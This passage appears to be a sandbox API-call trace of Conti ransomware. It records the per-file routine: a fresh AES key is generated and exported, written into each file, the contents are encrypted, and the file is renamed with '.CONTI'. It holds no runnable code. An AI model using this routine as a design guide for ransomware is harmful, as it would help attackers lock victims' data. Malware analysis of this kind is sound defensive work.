	[0093.431] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.431] WriteFile (in: hFile=0x338, lpBuffer=0x17c47d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x523fe68, lpOverlapped=0x0 | out: lpBuffer=0x17c47d8*, lpNumberOfBytesWritten=0x523fe68*=0x8, lpOverlapped=0x0) returned 1
	[0093.431] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.431] CloseHandle (hObject=0x338) returned 1
	[0093.432] GetProcessHeap () returned 0x1720000
	[0093.432] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d13f8
	[0093.432] lstrcpyW (in: lpString1=0x17d13f8, lpString2="C:\\588bce7c90097ed212\\1035\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned="C:\\588bce7c90097ed212\\1035\\eula.rtf"
	[0093.432] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1035\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1035\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1035\\eula.rtf.CONTI"
	[0093.432] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.conti")) returned 1
	[0093.433] GetProcessHeap () returned 0x1720000
	[0093.433] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d13f8 | out: hHeap=0x1720000) returned 1
	[0093.433] CryptDestroyKey (hKey=0x175e5f0) returned 1
	[0093.433] GetProcessHeap () returned 0x1720000
	[0093.433] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d558 | out: hHeap=0x1720000) returned 1
	[0093.433] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0093.441] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17c47e0 | out: phKey=0x17c47e0*=0x175e730) returned 1
	[0093.441] CryptExportKey (in: hKey=0x175e730, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c47e4, pdwDataLen=0x523fe64 | out: pbData=0x17c47e4*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0093.442] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80
	[0093.442] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0093.443] GetLastError () returned 0x0
	[0093.443] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x523fe10 | out: lpFileSize=0x523fe10*=6851) returned 1
	[0093.443] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1ac3
	[0093.443] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.443] SetEndOfFile (hFile=0x334) returned 1
	[0093.443] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.443] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.443] WriteFile (in: hFile=0x334, lpBuffer=0x17c47e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x523fe1c, lpOverlapped=0x0 | out: lpBuffer=0x17c47e4*, lpNumberOfBytesWritten=0x523fe1c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.451] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.451] ReadFile (in: hFile=0x334, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x1ac3, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x1ac3, lpOverlapped=0x0) returned 1
	[0093.453] CryptEncrypt (in: hKey=0x175e730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x1ac3, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x1ad0) returned 1
	[0093.453] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.453] WriteFile (in: hFile=0x334, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x1ad0, lpOverlapped=0x0) returned 1
	[0093.453] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.453] WriteFile (in: hFile=0x334, lpBuffer=0x17c47d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x523fe68, lpOverlapped=0x0 | out: lpBuffer=0x17c47d8*, lpNumberOfBytesWritten=0x523fe68*=0x8, lpOverlapped=0x0) returned 1
	[0093.453] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.453] CloseHandle (hObject=0x334) returned 1
	[0093.454] GetProcessHeap () returned 0x1720000
	[0093.454] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d13f8
	[0093.454] lstrcpyW (in: lpString1=0x17d13f8, lpString2="C:\\588bce7c90097ed212\\1037\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned="C:\\588bce7c90097ed212\\1037\\eula.rtf"
	[0093.454] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1037\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1037\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1037\\eula.rtf.CONTI"
	[0093.454] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.conti")) returned 1
	[0093.454] GetProcessHeap () returned 0x1720000
	[0093.454] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d13f8 | out: hHeap=0x1720000) returned 1
	[0093.454] CryptDestroyKey (hKey=0x175e730) returned 1
	[0093.454] GetProcessHeap () returned 0x1720000
	[0093.454] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d738 | out: hHeap=0x1720000) returned 1
	[0093.454] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0093.460] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17c5c68 | out: phKey=0x17c5c68*=0x175e470) returned 1
	[0093.460] CryptExportKey (in: hKey=0x175e470, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5c6c, pdwDataLen=0x523fe64 | out: pbData=0x17c5c6c*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0093.461] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80
	[0093.463] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.463] GetLastError () returned 0x0
	[0093.463] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x523fe10 | out: lpFileSize=0x523fe10*=3643) returned 1
	[0093.463] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b
	[0093.463] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.463] SetEndOfFile (hFile=0x338) returned 1
	[0093.463] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.463] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.463] WriteFile (in: hFile=0x338, lpBuffer=0x17c5c6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x523fe1c, lpOverlapped=0x0 | out: lpBuffer=0x17c5c6c*, lpNumberOfBytesWritten=0x523fe1c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.467] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.467] ReadFile (in: hFile=0x338, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0xe3b, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0xe3b, lpOverlapped=0x0) returned 1
	[0093.467] CryptEncrypt (in: hKey=0x175e470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0xe3b, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0xe40) returned 1
	[0093.467] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.467] WriteFile (in: hFile=0x338, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0xe40, lpOverlapped=0x0) returned 1
	[0093.467] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.467] WriteFile (in: hFile=0x338, lpBuffer=0x17c5c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x523fe68, lpOverlapped=0x0 | out: lpBuffer=0x17c5c60*, lpNumberOfBytesWritten=0x523fe68*=0x8, lpOverlapped=0x0) returned 1
	[0093.467] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.467] CloseHandle (hObject=0x338) returned 1
	[0093.468] GetProcessHeap () returned 0x1720000
	[0093.468] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d13f8
	[0093.468] lstrcpyW (in: lpString1=0x17d13f8, lpString2="C:\\588bce7c90097ed212\\1040\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned="C:\\588bce7c90097ed212\\1040\\eula.rtf"
	[0093.468] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1040\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1040\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1040\\eula.rtf.CONTI"
	[0093.468] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.conti")) returned 1
	[0093.468] GetProcessHeap () returned 0x1720000
	[0093.468] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d13f8 | out: hHeap=0x1720000) returned 1
	[0093.468] CryptDestroyKey (hKey=0x175e470) returned 1
	[0093.469] GetProcessHeap () returned 0x1720000
	[0093.469] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d5a8 | out: hHeap=0x1720000) returned 1
	[0093.469] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0093.481] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17c4c70 | out: phKey=0x17c4c70*=0x175e3b0) returned 1
	[0093.481] CryptExportKey (in: hKey=0x175e3b0, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4c74, pdwDataLen=0x523fe64 | out: pbData=0x17c4c74*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0093.482] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80
	[0093.482] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0093.482] GetLastError () returned 0x0
	[0093.482] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x523fe10 | out: lpFileSize=0x523fe10*=10125) returned 1
	[0093.482] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x278d
	[0093.483] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.483] SetEndOfFile (hFile=0x334) returned 1
	[0093.484] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.484] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.484] WriteFile (in: hFile=0x334, lpBuffer=0x17c4c74*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x523fe1c, lpOverlapped=0x0 | out: lpBuffer=0x17c4c74*, lpNumberOfBytesWritten=0x523fe1c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.491] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.492] ReadFile (in: hFile=0x334, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0x278d, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0x278d, lpOverlapped=0x0) returned 1
	[0093.495] CryptEncrypt (in: hKey=0x175e3b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x278d, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0x2790) returned 1
	[0093.495] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.495] WriteFile (in: hFile=0x334, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0x2790, lpOverlapped=0x0) returned 1
	[0093.496] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.496] WriteFile (in: hFile=0x334, lpBuffer=0x17c4c68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x523fe68, lpOverlapped=0x0 | out: lpBuffer=0x17c4c68*, lpNumberOfBytesWritten=0x523fe68*=0x8, lpOverlapped=0x0) returned 1
	[0093.496] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.496] CloseHandle (hObject=0x334) returned 1
	[0093.497] GetProcessHeap () returned 0x1720000
	[0093.497] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.497] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1041\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned="C:\\588bce7c90097ed212\\1041\\eula.rtf"
	[0093.497] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1041\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1041\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1041\\eula.rtf.CONTI"
	[0093.497] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.conti")) returned 1
	[0093.497] GetProcessHeap () returned 0x1720000
	[0093.497] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.497] CryptDestroyKey (hKey=0x175e3b0) returned 1
	[0093.497] GetProcessHeap () returned 0x1720000
	[0093.497] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d558 | out: hHeap=0x1720000) returned 1
	[0093.497] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0093.507] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17d2d68 | out: phKey=0x17d2d68*=0x175e570) returned 1
	[0093.507] CryptExportKey (in: hKey=0x175e570, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2d6c, pdwDataLen=0x523fe64 | out: pbData=0x17d2d6c*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0093.509] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80
	[0093.512] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.512] GetLastError () returned 0x0
	[0093.512] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x523fe10 | out: lpFileSize=0x523fe10*=3546) returned 1
	[0093.512] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xdda
	[0093.512] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.512] SetEndOfFile (hFile=0x338) returned 1
	[0093.513] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.513] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.513] WriteFile (in: hFile=0x338, lpBuffer=0x17d2d6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x523fe1c, lpOverlapped=0x0 | out: lpBuffer=0x17d2d6c*, lpNumberOfBytesWritten=0x523fe1c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.772] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.772] ReadFile (in: hFile=0x338, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0xdda, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0xdda, lpOverlapped=0x0) returned 1
	[0093.772] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0xdda, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0xde0) returned 1
	[0093.778] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.778] WriteFile (in: hFile=0x338, lpBuffer=0xf3a0000*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x523fe50, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesWritten=0x523fe50*=0xde0, lpOverlapped=0x0) returned 1
	[0093.778] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.778] WriteFile (in: hFile=0x338, lpBuffer=0x17d2d60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x523fe68, lpOverlapped=0x0 | out: lpBuffer=0x17d2d60*, lpNumberOfBytesWritten=0x523fe68*=0x8, lpOverlapped=0x0) returned 1
	[0093.778] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.778] CloseHandle (hObject=0x338) returned 1
	[0093.778] GetProcessHeap () returned 0x1720000
	[0093.779] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7750
	[0093.779] lstrcpyW (in: lpString1=0x17c7750, lpString2="C:\\588bce7c90097ed212\\1043\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned="C:\\588bce7c90097ed212\\1043\\eula.rtf"
	[0093.779] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1043\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1043\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1043\\eula.rtf.CONTI"
	[0093.779] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.conti")) returned 1
	[0093.779] GetProcessHeap () returned 0x1720000
	[0093.779] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7750 | out: hHeap=0x1720000) returned 1
	[0093.779] CryptDestroyKey (hKey=0x175e570) returned 1
	[0093.779] GetProcessHeap () returned 0x1720000
	[0093.779] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d5f8 | out: hHeap=0x1720000) returned 1
	[0093.779] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x523fe8c, lpCompletionKey=0x523fe90, lpOverlapped=0x523fe9c) returned 1
	[0093.885] CryptGenKey (in: hProv=0x176c348, Algid=0x6610, dwFlags=0x1, phKey=0x17d3688 | out: phKey=0x17d3688*=0x175e630) returned 1
	[0093.885] CryptExportKey (in: hKey=0x175e630, hExpKey=0x175e070, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d368c, pdwDataLen=0x523fe64 | out: pbData=0x17d368c*, pdwDataLen=0x523fe64*=0x20c) returned 1
	[0093.885] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80
	[0093.886] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0093.886] GetLastError () returned 0x0
	[0093.886] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x523fe10 | out: lpFileSize=0x523fe10*=60684) returned 1
	[0093.886] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xed0c
	[0093.886] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.886] SetEndOfFile (hFile=0x348) returned 1
	[0093.886] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.886] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.886] WriteFile (in: hFile=0x348, lpBuffer=0x17d368c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x523fe1c, lpOverlapped=0x0 | out: lpBuffer=0x17d368c*, lpNumberOfBytesWritten=0x523fe1c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.916] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.916] ReadFile (in: hFile=0x348, lpBuffer=0xf3a0000, nNumberOfBytesToRead=0xed0c, lpNumberOfBytesRead=0x523fe3c, lpOverlapped=0x0 | out: lpBuffer=0xf3a0000*, lpNumberOfBytesRead=0x523fe3c*=0xed0c, lpOverlapped=0x0) returned 1
	[0093.932] CryptEncrypt (in: hKey=0x175e630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0xed0c, dwBufLen=0x500000 | out: pbData=0xf3a0000*, pdwDataLen=0x523fe34*=0xed10) returned 1
